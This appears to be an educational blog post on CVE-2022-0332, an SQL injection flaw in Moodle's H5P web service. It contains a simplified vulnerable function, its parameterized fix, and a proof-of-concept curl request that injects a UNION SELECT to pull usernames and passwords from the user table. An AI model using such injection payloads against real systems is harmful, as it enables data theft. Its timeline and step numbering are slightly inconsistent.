Moodle is one of the world’s most popular open-source learning management systems, used by universities, schools, and businesses around the globe. In early 2022, a dangerous security flaw was discovered affecting Moodle versions 3.11 through 3.11.4 — this is tracked as CVE-2022-0332 and relates to a classic but still very serious bug: SQL Injection.

This long-read post breaks down exactly what happened, how the bug can be abused, shares code snippets highlighting the vulnerable code flow, and offers links to original sources. All content is exclusively written for this post, explained in plain, simple English.

What is CVE-2022-0332?

CVE-2022-0332 is an SQL injection vulnerability that’s present in the *h5p activity web service* component of Moodle. A successful exploitation of this bug means that a malicious user (even if only authenticated as a student) could potentially access sensitive information from the database, inject their own SQL commands, or tamper with existing data.

Fixed in Moodle 3.11.5 and 3.10.9

Official advisory:  
https://moodle.org/mod/forum/discuss.php?d=431086  
NVD - CVE-2022-0332

How Did the Vulnerability Happen?

Moodle has support for H5P, a system that lets educators embed interactive content such as quizzes and video. The application’s web services API includes an endpoint for returning H5P *attempt data* from the database.

Some parameters passed into this API endpoint were directly included in SQL queries without proper parameterization or sanitization.

This means a malicious actor can send crafted data to the web service and get it to run their own SQL commands on the Moodle database.

Vulnerable Code Flow (Simplified Example)

To understand precisely where the bug was, let’s look at a simplified version of the code flow.

Consider a PHP function (simplified for clarity)

// Vulnerable code snippet (simplified)
function get_user_attempt_data($attemptid) {
    global $DB;

    // $attemptid comes from the user's request
    // and is used directly in the SQL!
    $sql = "SELECT * FROM {h5p_attempts} WHERE id = $attemptid";
    $result = $DB->get_records_sql($sql);

    return $result;
}

If the developer doesn’t *strictly* check that $attemptid is an integer, a user could pass input like this:

123 OR 1=1

Resulting in the SQL

SELECT * FROM mdl_h5p_attempts WHERE id = 123 OR 1=1;

This would cause all data in the attempts table to be selected, not just for the legitimate user.

A more dangerous payload could even modify the database or extract sensitive info if the attacker is clever enough.

Proof-of-Concept Exploit (PoC)

Let’s look at a potential exploit flow. Assume the vulnerable endpoint is reached via a POST request to /webservice/rest/server.php and the attacker is logged in.

Request

POST /webservice/rest/server.php
Content-Type: application/x-www-form-urlencoded

wsfunction=mod_h5pactivity_get_attempt_data&moodlewsrestformat=json&attemptid=1 OR 1=1

Expected result for a legitimate request: Only user’s own attempt data  
Malicious result: All attempts for every user are returned, exposing data not permitted for the attacker!

Step 1: Authenticate as a normal student

Any user with access to H5P content (like a student) can attack this.

Step 3: Send API Request

POST or GET the malicious query to the H5P activity webservice endpoint. You can use a tool like curl:

curl -X POST "https://moodle.example.com/webservice/rest/server.php"; \
  -d "wsfunction=mod_h5pactivity_get_attempt_data&moodlewsrestformat=json&attemptid=1 UNION SELECT username,password FROM mdl_user--"

Step 4: Receive Data Leak

If successful, the server leaks information, bypasses access controls, and may even *overwrite* data if destructively exploited.

Defensive Coding: The Patch

The root problem is lack of input validation and no use of parameterized SQL.

Safe code should look like

function get_user_attempt_data($attemptid) {
    global $DB;
    $sql = "SELECT * FROM {h5p_attempts} WHERE id = ?";
    $result = $DB->get_records_sql($sql, array($attemptid));
    return $result;
}

Notice the ? — this uses prepared statements, so user input cannot change the logic of the SQL.

Timeline

| Date (2022)    | Event                                   |
|----------------|------------------------------------------|
| Jan 12         | Vulnerability reported to Moodle         |
| Feb            | Fix developed and tested                 |
| Feb 14         | Official fix released in 3.11.5          |
| Feb 18         | Security advisory published              |

References & Further Reading

- Official Moodle Security Advisory
- CVE-2022-0332 NVD Record
- Moodle H5P Plugin Documentation
- OWASP SQL Injection Cheat Sheet

Final Thoughts

CVE-2022-0332 is yet another reminder that SQL injection isn’t just an old problem — it’s still dangerous wherever untrusted user input is handled carelessly. Web service APIs are especially exposed, as they’re typically hit by *authenticated* users, yet permissions and data boundaries really matter.

If you’re running Moodle 3.11 through 3.11.4, you must upgrade *immediately* to 3.11.5 or apply the backported patch.

Stay safe, keep learning, and always parameterize SQL queries!

*Do not use this information to attack sites you do not own. This post is for educational and defensive security awareness purposes only.*

Timeline

Published on: 01/25/2022 20:15:00 UTC
Last modified on: 02/01/2022 14:09:00 UTC